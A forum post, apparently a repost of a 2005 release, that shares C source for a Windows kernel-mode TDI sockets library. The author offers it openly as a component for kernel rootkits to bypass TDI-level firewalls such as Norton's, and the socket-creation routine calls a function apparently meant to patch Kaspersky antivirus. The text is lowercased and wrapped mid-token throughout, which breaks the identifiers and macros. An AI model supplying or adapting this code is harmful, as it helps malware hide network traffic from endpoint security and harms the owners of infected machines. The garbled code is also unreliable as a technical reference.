|
|
it's my birthday today (just turned 31 the 31st december, funny eh
?!), i wanted to publish something,
it makes me feel alive. christ lived 33 years only, if i'd be the
new christ
i've only 2 years left, so better to share my knowledge now 
well, here you have a fully functional tdi sockets library. you can
connect,
send, receive, all from your supa-dupa-l333t kernelmode rootkit.
yes, you can
bypass lame tdi firewalls with this. no, you can't bypass ndis
firewalls.
(read : you can bypass norton's firewall).
consider that something like this worths $400+ from pcausa, and
maybe more
from osr (ksocks)..... enough for a new year's present :)
usage : you have to hook \\device\tcp yourself and set the global
variable tcpipdevice.
then call ksocketinitialize and you're done. refer to the source for
usage.... it shouldn't be hard.
have fun, and happy 2006 to everyone ! ciao! :)
代码
//-----------------------------------------sockets.c------------------------------
//************************************************************************
//
// sockets.c
// (c) valerino/xoanino 2003/2004/2005
//
// this module implements a generic kernel sockets library.
// ** beware that this is optimized for single thread use if
reuse_socketsirp is defined.**
//*****************************************************************************
#include "ntifs.h"
#define module "**sockets**"
#ifdef dbg
#ifdef no_sockets_dbgmsg
#undef kdebugprint
#define kdebugprint(dbglevel,_x)
#endif
#endif
/************************************************************************/
// bool ksocketinitialize()
//
// initialize kernelsockets library
//
/************************************************************************/
bool ksocketinitialize()
{
exinitializepagedlookasidelist(&lookasidesocketmem, null, null,
0, 1024, 'lskn', 0);
exinitializepagedlookasidelist(&lookasidesocket,null,null,0,sizeof
(ksocket),'cosn',0);
#ifdef reuse_socketsirp
// check for tcpdevice
if (!tcpipdevice)
return true;
// allocate the single irp we use throughout the sockets library
socketsirp = ioallocateirp(tcpipdevice->stacksize + 1, false);
if (!socketsirp)
return false;
#endif
return true;
}
/************************************************************************/
// pvoid ksocketallocatepool(void)
//
// allocate memory from sockets lookaside
//
/************************************************************************/
pvoid ksocketallocatepool(void)
{
pchar p = null;
p = exallocatefrompagedlookasidelist(&lookasidesocketmem);
if (p)
memset(p, 0, smallbuffer_size);
return p;
}
/************************************************************************/
// void ksocketfreepool(pvoid pbuffer)
//
// free memory to sockets lookaside
//
/************************************************************************/
void ksocketfreepool(pvoid pbuffer)
{
exfreetopagedlookasidelist(&lookasidesocketmem, pbuffer);
}
/************************************************************************/
// ntstatus ksocketcloseobject(handle handle, pfile_object
fileobject)
//
// release a socket object
//
/************************************************************************/
ntstatus ksocketcloseobject(handle handle, pfile_object fileobject)
{
ntstatus status = status_success;
// dereference referenced object (called for connection and
address)
if (fileobject)
obdereferenceobject(fileobject);
// close socket
if (handle)
status = zwclose(handle);
return status;
}
/************************************************************************/
// pfile_full_ea_information ksocketbuildeavalues(pvoid eaname,
ulong namelength, pvoid eavalue,
// ulong valuelength, pulong ealength)
//
// build ea information for the socket object
//
/************************************************************************/
pfile_full_ea_information ksocketbuildeavalues(pvoid eaname, ulong
namelength, pvoid eavalue,
ulong valuelength, pulong ealength)
{
pfile_full_ea_information ea;
*ealength = field_offset(file_full_ea_information, eaname[0]) +
namelength + 1 + valuelength;
// allocate ea buffer
ea = exallocatepool(pagedpool, *ealength);
if (!ea)
return null;
// fill buffer with ea values requested
ea->nextentryoffset = 0;
ea->flags = 0;
ea->eanamelength = (uchar) namelength;
ea->eavaluelength = (ushort) valuelength;
memcpy (ea->eaname,eaname,ea->eanamelength + 1);
if (eavalue && ealength)
memcpy (&ea->eaname[namelength + 1],eavalue,valuelength);
return ea;
}
/************************************************************************/
// ntstatus ksocketopenaddress(phandle handle, pfile_object*
fileobject, pvoid context)
//
// open address
//
/************************************************************************/
ntstatus ksocketopenaddress(phandle handle, pfile_object*
fileobject, pvoid context)
{
unicode_string name;
object_attributes objectattributes;
pfile_full_ea_information ea = null;
ulong ealength;
io_status_block iosb;
ntstatus status;
ta_ip_address sin;
// initialize address
sin.taaddresscount = 1;
sin.address[0].addresslength = tdi_address_length_ip;
sin.address[0].addresstype = tdi_address_type_ip;
sin.address[0].address[0].sin_port = 0; // inaddr_any;
sin.address[0].address[0].in_addr = 0;
// get ea values for address
ea = ksocketbuildeavalues(tditransportaddress,
tdi_transport_address_length, &sin,
sizeof(ta_ip_address), &ealength);
if (!ea)
{
status = status_insufficient_resources;
goto __exit;
}
// open tcp device
rtlinitunicodestring(&name, tcpip_device);
initializeobjectattributes(&objectattributes, &name,
obj_case_insensitive, null, 0);
status = zwcreatefile(handle, generic_read | generic_write |
synchronize, &objectattributes, &iosb, 0,
file_attribute_normal, file_share_read,file_open_if,0, ea,
ealength);
if (!nt_success(status))
goto __exit;
status = obreferenceobjectbyhandle(*handle, file_any_access, 0,
kernelmode, fileobject, null);
__exit:
if (ea)
exfreepool(ea);
return status;
}
/************************************************************************/
// ntstatus ksocketopenconnection(phandle handle, pfile_object*
fileobject, pvoid context)
//
// open connection
//
/************************************************************************/
ntstatus ksocketopenconnection(phandle handle, pfile_object*
fileobject, pvoid context)
{
unicode_string name;
object_attributes objectattributes;
pfile_full_ea_information ea = null;
ulong ealength;
io_status_block iosb;
ntstatus status;
// get ea values for connection
ea = ksocketbuildeavalues(tdiconnectioncontext,
tdi_connection_context_length, &context,
sizeof(pksocket), &ealength);
if (!ea)
{
status = status_insufficient_resources;
goto __exit;
}
// open tcp device
rtlinitunicodestring(&name, tcpip_device);
initializeobjectattributes(&objectattributes, &name,
obj_case_insensitive, null, 0);
status = zwcreatefile(handle, generic_read | generic_write |
synchronize, &objectattributes, &iosb, 0,
file_attribute_normal, file_share_read,file_open_if, 0, ea,
ealength);
if (!nt_success(status))
goto __exit;
status = obreferenceobjectbyhandle(*handle, file_any_access, 0,
kernelmode, fileobject, null);
__exit:
if (ea)
exfreepool(ea);
return status;
}
//************************************************************************
// ntstatus ksocketcomplete(pdevice_object deviceobject, pirp irp,
pvoid context)
//
// socket completion routine
//************************************************************************/
ntstatus ksocketcomplete(pdevice_object deviceobject, pirp irp,
pvoid context)
{
pmdl mdl = null;
pmdl nextmdl = null;
pksocket_ctx ctx = (pksocket_ctx)context;
// set status block
ctx->iosb.status = irp->iostatus.status;
ctx->iosb.information = irp->iostatus.information;
// free any associated mdl.
if (irp->mdladdress != null)
{
for (mdl = irp->mdladdress; mdl != null; mdl = nextmdl)
{
nextmdl = mdl->next;
mmunlockpages(mdl);
// this function will also unmap pages.
iofreemdl(mdl);
}
// set mdl address to null, to prevent iofreeirp to attempt
to free it again
irp->mdladdress = null;
}
#ifdef reuse_socketsirp
// set irp for reuse
ioreuseirp (irp,status_success);
#else
// free irp
iofreeirp (irp);
#endif
// set event
if (ctx)
kesetevent (&ctx->event,io_no_increment,false);
return status_more_processing_required;
}
//************************************************************************
// ntstatus ksocketassociateaddress(handle address, pfile_object
connection)
//
// associate address
//************************************************************************/
ntstatus ksocketassociateaddress(handle address, pfile_object
connection)
{
pdevice_object deviceobject;
pirp irp = null;
ntstatus status = status_timeout;
ksocket_ctx ctx;
// initialize event and device
keinitializeevent(&ctx.event, notificationevent, false);
deviceobject = tcpipdevice;
// allocate tdi_associate_address irp
#ifdef reuse_socketsirp
irp = socketsirp;
#else
irp = ioallocateirp(deviceobject->stacksize + 1, false);
#endif
if (!irp)
return status_insufficient_resources;
// build irp (this set completion routine too)
tdibuildassociateaddress(irp, deviceobject,
connection,ksocketcomplete, &ctx, address);
// call tcpip
status = iocalldriver(deviceobject, irp);
if (status == status_pending)
{
// returned status pending
status = kewaitforsingleobject(&ctx.event, executive,
kernelmode, false, &socktimeout);
if (status == status_timeout)
{
kdebugprint (1, ("%s *****************
ksocketassociateaddress timeout occurred *****************
cancelling irp\n", module));
// cancel irp
iocancelirp(irp);
// wait for completion routine to be called
kewaitforsingleobject(&ctx.event, executive, kernelmode,
false, null);
status = status_connection_aborted;
}
else
{
// ok
status = ctx.iosb.status;
}
}
return status;
}
//************************************************************************
// ntstatus ksocketconnect(pksocket psocket, ulong address, ushort
port)
//
// connect socket to address:port
//************************************************************************/
ntstatus ksocketconnect(pksocket psocket, ulong address, ushort
port)
{
pdevice_object deviceobject;
pirp irp = null;
ntstatus status = status_timeout;
ksocket_ctx ctx;
tdi_connection_information requestinfo;
ta_ip_address remoteaddress;
pfile_object connection;
kdebugprint (2,("%s ksocketconnect called.\n",module));
if (!psocket)
return status_unsuccessful;
// set parameters
connection = psocket->connectionfile;
memset (&requestinfo,0, sizeof(tdi_connection_information));
memset (&remoteaddress,0,sizeof (ta_ip_address));
remoteaddress.taaddresscount = 1;
remoteaddress.address[0].addresslength = tdi_address_length_ip;
remoteaddress.address[0].addresstype = tdi_address_type_ip;
remoteaddress.address[0].address[0].sin_port = port;
remoteaddress.address[0].address[0].in_addr = address;
requestinfo.userdatalength = 0;
requestinfo.userdata = null;
requestinfo.optionslength = 0;
requestinfo.options = null;
requestinfo.remoteaddresslength = sizeof(ta_ip_address);
requestinfo.remoteaddress = &remoteaddress;
// initialize event and device
keinitializeevent(&ctx.event, notificationevent, false);
deviceobject = tcpipdevice;
// allocate tdi_connect irp
#ifdef reuse_socketsirp
irp = socketsirp;
#else
irp = ioallocateirp(deviceobject->stacksize + 1, false);
#endif
// build irp (this set completion routine too)
tdibuildconnect (irp, deviceobject,connection,ksocketcomplete,
&ctx,null, &requestinfo,&requestinfo);
// call tcpip
status = iocalldriver(deviceobject, irp);
if (status == status_pending)
{
// returned status pending
status = kewaitforsingleobject(&ctx.event, executive,
kernelmode, false, &socktimeout);
if (status == status_timeout)
{
kdebugprint (1, ("%s ***************** ksocketconnect
timeout occurred ***************** cancelling irp\n", module));
// cancel irp
iocancelirp(irp);
// wait for completion routine to be called
kewaitforsingleobject(&ctx.event, executive, kernelmode,
false, null);
status = status_connection_aborted;
}
else
// ok
status = ctx.iosb.status;
}
if (status == status_success)
psocket->connected = true;
return status;
}
//************************************************************************
// ntstatus ksocketdisconnect(pksocket psocket
//
// disconnect socket
//************************************************************************/
ntstatus ksocketdisconnect(pksocket psocket)
{
pdevice_object deviceobject;
pirp irp = null;
ntstatus status = status_timeout;
tdi_connection_information reqdisconnect;
pfile_object connection;
ulong flags;
ksocket_ctx ctx;
// check if socket is already disconnected
if (!psocket)
return status_unsuccessful;
if (!psocket->connected)
return status_already_disconnected;
// set parameters
connection = psocket->connectionfile;
memset(&reqdisconnect,0,sizeof (tdi_connection_information));
flags = tdi_disconnect_abort;
// initialize event and device
keinitializeevent(&ctx.event, notificationevent, false);
deviceobject = tcpipdevice;
// allocate tdi_disconnect irp
#ifdef reuse_socketsirp
irp = socketsirp;
#else
irp = ioallocateirp(deviceobject->stacksize + 1, false);
#endif
if (!irp)
return status_insufficient_resources;
// build irp (this set completion routine too)
tdibuilddisconnect (irp,
deviceobject,connection,ksocketcomplete, &ctx,
null,flags,&reqdisconnect,&reqdisconnect);
// call tcpip
status = iocalldriver(deviceobject, irp);
if (status == status_pending)
{
// returned status pending
status = kewaitforsingleobject(&ctx.event, executive,
kernelmode, false, &socktimeout);
if (status == status_timeout)
{
kdebugprint (1, ("%s ***************** ksocketdisconnect
timeout occurred ***************** cancelling irp\n", module));
// cancel irp
iocancelirp(irp);
// wait for completion routine to be called
kewaitforsingleobject(&ctx.event, executive, kernelmode,
false, null);
status = status_connection_aborted;
}
else
{
// ok
status = ctx.iosb.status;
}
}
if (nt_success (status))
psocket->connected = false;
return status;
}
//************************************************************************
// ntstatus ksocketsend(pksocket psocket, pvoid buffer, size_t size,
psize_t bytessent)
//
// send buffer thru socket
//************************************************************************/
ntstatus ksocketsend(pksocket psocket, pvoid buffer, size_t size,
psize_t bytessent)
{
pdevice_object deviceobject;
pfile_object connection;
pirp irp = null;
ntstatus status = status_timeout;
ksocket_ctx ctx;
pmdl mdl;
kdebugprint (2,("%s ksocketsend called.\n",module));
if (!psocket)
return status_unsuccessful;
// set parameters
connection = psocket->connectionfile;
*bytessent = 0;
// initialize event and device
keinitializeevent(&ctx.event, notificationevent, false);
deviceobject = tcpipdevice;
// allocate tdi_send irp
#ifdef reuse_socketsirp
irp = socketsirp;
#else
irp = ioallocateirp(deviceobject->stacksize + 1, false);
#endif
if (!irp)
return status_insufficient_resources;
// build mdl
mdl = ioallocatemdl(buffer, size, false, false, null);
if (!mdl)
{
status = status_insufficient_resources;
iofreeirp (irp);
return status;
}
__try
{
mmprobeandlockpages(mdl, kernelmode, ioreadaccess);
}
__except(exception_execute_handler)
{
iofreemdl (mdl);
iofreeirp (irp);
status = status_unsuccessful;
return status;
}
mdl->next = null;
// build irp (this set completion routine too)
tdibuildsend (irp, deviceobject,connection,ksocketcomplete,
&ctx,mdl,0,size);
// call tcp
status = iocalldriver(deviceobject, irp);
if (status == status_pending)
{
// returned status pending
status = kewaitforsingleobject(&ctx.event, executive,
kernelmode, false, &socktimeout);
if (status == status_timeout)
{
kdebugprint (1, ("%s ***************** ksocketsend
timeout occurred ***************** cancelling irp\n", module));
// cancel irp
iocancelirp(irp);
// wait for completion routine to be called
kewaitforsingleobject(&ctx.event, executive, kernelmode,
false, null);
status = status_connection_aborted;
}
else
{
// ok
status = ctx.iosb.status;
}
}
// return sent bytes
*bytessent = ctx.iosb.information;
// check transferred bytes
if (ctx.iosb.information != size)
status = status_connection_aborted;
if (!nt_success(status))
{
kdebugprint(1, ("%s ksocketsend returned error %08x
(reqsent:%d,oksent:%d)\n", module, status,
size, *bytessent));
}
return status;
}
//************************************************************************
// ntstatus ksocketreceive(pksocket psocket, pvoid buffer, size_t
size, psize_t bytesreceived, boolean receivepeek)
//
// receive buffer thru socket
//************************************************************************/
ntstatus ksocketreceive(pksocket psocket, pvoid buffer, size_t size,
psize_t bytesreceived, boolean receivepeek)
{
pdevice_object deviceobject;
pfile_object connection;
pirp irp = null;
ntstatus status = status_timeout;
pmdl mdl;
ulong flags;
ksocket_ctx ctx;
kdebugprint (2,("%s ksocketreceive called.\n",module));
if (!psocket)
return status_unsuccessful;
// set parameters
connection = psocket->connectionfile;
*bytesreceived = 0;
if (receivepeek)
flags = tdi_receive_peek;
else
flags = tdi_receive_normal;
// initialize event and device
keinitializeevent(&ctx.event, notificationevent, false);
deviceobject = tcpipdevice;
// allocate tdi_receive irp
#ifdef reuse_socketsirp
irp = socketsirp;
#else
irp = ioallocateirp(deviceobject->stacksize + 1, false);
#endif
if (!irp)
return status_insufficient_resources;
// build mdl
mdl = ioallocatemdl(buffer, size, false, false, null);
if (!mdl)
{
status = status_insufficient_resources;
iofreeirp (irp);
return status;
}
__try
{
mmprobeandlockpages(mdl, kernelmode, iowriteaccess);
}
__except(exception_execute_handler)
{
iofreemdl (mdl);
iofreeirp (irp);
status = status_unsuccessful;
return status;
}
mdl->next = null;
// build irp (this set completion routine too)
tdibuildreceive (irp, deviceobject,connection,ksocketcomplete,
&ctx,mdl,flags,size);
// call tcp
status = iocalldriver(deviceobject, irp);
if (status == status_pending)
{
// returned status pending
status = kewaitforsingleobject(&ctx.event, executive,
kernelmode, false, &socktimeout);
if (status == status_timeout)
{
kdebugprint (1, ("%s ***************** ksocketreceive
timeout occurred ***************** cancelling irp\n", module));
// cancel irp
iocancelirp(irp);
// wait for completion routine to be called
kewaitforsingleobject(&ctx.event, executive, kernelmode,
false, null);
status = status_connection_aborted;
}
else
{
// ok
status = ctx.iosb.status;
}
}
// return received bytes
*bytesreceived = ctx.iosb.information;
// check received bytes
if (ctx.iosb.information == 0)
status = status_connection_aborted;
if (!nt_success(status))
{
kdebugprint(1, ("%s ksocketreceive returned error %08x
(reqrecv:%d,okrecv:%d)\n", module, status,
size, *bytesreceived));
}
return status;
}
//************************************************************************
// void ksocketclose(pksocket socket)
//
// close socket and release socket memory
//************************************************************************/
void ksocketclose(pksocket socket)
{
if (socket == null)
{
return;
}
ksocketcloseobject(socket->transportaddresshandle,
socket->transportaddress);
ksocketcloseobject(socket->connectionfilehandle,
socket->connectionfile);
exfreetopagedlookasidelist (&lookasidesocket,socket);
socket = null;
}
//************************************************************************
// ntstatus ksocketcreate(out pksocket* socket)
//
// create socket
//************************************************************************/
ntstatus ksocketcreate(out pksocket* socket)
{
ntstatus status = status_success;
pksocket isocket = null;
#ifdef always_disablesockets
kdebugprint(1,("%s sockets disabled, connect skipped.\n",
module));
return status_unsuccessful;
#endif
// check disabled sockets
if (disablesockets)
{
kdebugprint(1,("%s sockets disabled, connect skipped.\n",
module));
return status_unsuccessful;
}
// handle kav (crash if not patched)
modulepatchkav();
// allocate memory for a new socket
isocket = exallocatefrompagedlookasidelist(&lookasidesocket);
if (!isocket)
{
status = status_insufficient_resources;
goto __exit;
}
memset (isocket,0, sizeof(ksocket));
// open transport address
status = ksocketopenaddress(&isocket->transportaddresshandle,
&isocket->transportaddress,
isocket);
if (!nt_success(status))
goto __exit;
// create connection endpoint
status = ksocketopenconnection(&isocket->connectionfilehandle,
&isocket->connectionfile,
isocket);
if (!nt_success(status))
goto __exit;
// associate address with connection
status =
ksocketassociateaddress(isocket->transportaddresshandle,
isocket->connectionfile);
if (!nt_success(status))
goto __exit;
__exit:
if (!nt_success(status))
{
if (isocket)
ksocketclose(isocket);
*socket = null;
}
else
*socket = isocket;
return status;
}
/************************************************************************/
// ntstatus ksocketreadline(pksocket psocket, pchar buf, size_t
maxlen, psize_t receivedbytes)
//
// read line (ascii) from network
//
/************************************************************************/
ntstatus ksocketreadline(pksocket psocket, pchar buf, size_t maxlen,
psize_t receivedbytes)
{
ntstatus status = status_unsuccessful;
uchar c = 0;
ulong i = 0;
ulong received = 0;
// check params
if (!psocket || !buf || !receivedbytes || !maxlen)
goto __exit;
*receivedbytes = 0;
if (!psocket->connected)
goto __exit;
// read line char by char, and stop at eol
memset (buf, 0, maxlen);
while (true)
{
if (i == maxlen)
break;
// get char from socket
status = ksocketreceive (psocket,&c,1,&received,false);
if (!nt_success (status) || received == 0)
break;
// write char into buffer and advance
*buf = c;
buf++;
i++;
// check for eol
if (c == '\n')
{
*receivedbytes = i;
break;
}
}
__exit:
// treat 0 size received as error
if (received == 0)
status = status_no_data_detected;
return status;
}
/************************************************************************/
// ntstatus ksocketwriteline(pksocket psocket, const char* format,
...)
//
// write formatted line (ascii) to network
//
/************************************************************************/
ntstatus ksocketwriteline(pksocket psocket, const char* format, ...)
{
va_list ap;
char* buf;
ulong len;
ntstatus status;
size_t bytessent = 0;
// allocate memory
buf = ksocketallocatepool();
if (!buf)
return status_insufficient_resources;
// build line
va_start(ap, format);
_vsnprintf(buf, smallbuffer_size, format, ap);
va_end(ap);
len = strlen(buf);
// send
status = ksocketsend(psocket, buf, len, &bytessent);
// free buffer
ksocketfreepool(buf);
// check if we've sent all bytes
if (bytessent < len)
return status_unsuccessful;
return status;
}
代码
//-----------------------------------------sockets.h------------------------------
#ifndef __sockets_h__
#define __sockets_h__
#define reuse_socketsirp
// debugprint with debuglevel (if dbglevel == debug level, it
triggers)
#if dbg
#define kdebugprint(dbglevel,_x) { \
if (dbglevel == debug_level)
{
dbgprint _x;
}
}
#else
#define kdebugprint(dbglevel,_x)
#endif //dbg
//#define always_disablesockets
//************************************************************************
// kernel sockets
//
//************************************************************************/
pdevice_object tcpipdevice;
typedef struct __tagksocket
{
pfile_object transportaddress;
handle transportaddresshandle;
pfile_object connectionfile;
handle connectionfilehandle;
boolean connected;
}ksocket, * pksocket;
typedef struct _tagksocket_ctx {
kevent event;
io_status_block iosb;
} ksocket_ctx, *pksocket_ctx;
paged_lookaside_list lookasidesocketmem;
paged_lookaside_list lookasidesocket;
kevent nonetworkfailures;
boolean disablesockets; //
flag to disable sockets if needed
pdriver_dispatch originaltcpinternaldevicecontrol;
pirp socketsirp;
// all paged code except the completion routine
bool ksocketinitialize();
#pragma alloc_text (pageboom,ksocketinitialize)
ntstatus ksocketcreate(out pksocket* socket);
void ksocketclose(pksocket socket);
pvoid ksocketallocatepool();
void ksocketfreepool(pvoid pbuffer);
ntstatus ksocketsend(pksocket psocket, pvoid buffer,
size_t size,
psize_t bytessent);
ntstatus ksocketconnect(pksocket psocket, ulong
address, ushort port);
ntstatus ksocketdisconnect(pksocket psocket);
ntstatus ksocketcomplete(pdevice_object deviceobject,
pirp irp, pvoid context);
ntstatus ksocketreceive(pksocket psocket, pvoid
buffer, size_t size, psize_t bytesreceived,
boolean receivepeek);
ntstatus ksocketreadline(pksocket psocket, pchar buf,
size_t maxlen, psize_t receivedbytes);
ntstatus ksocketwriteline(pksocket psocket, const
char* format, ...);
#endif // __sockets_h__
|
|
发表于 2007-8-26 15:42:00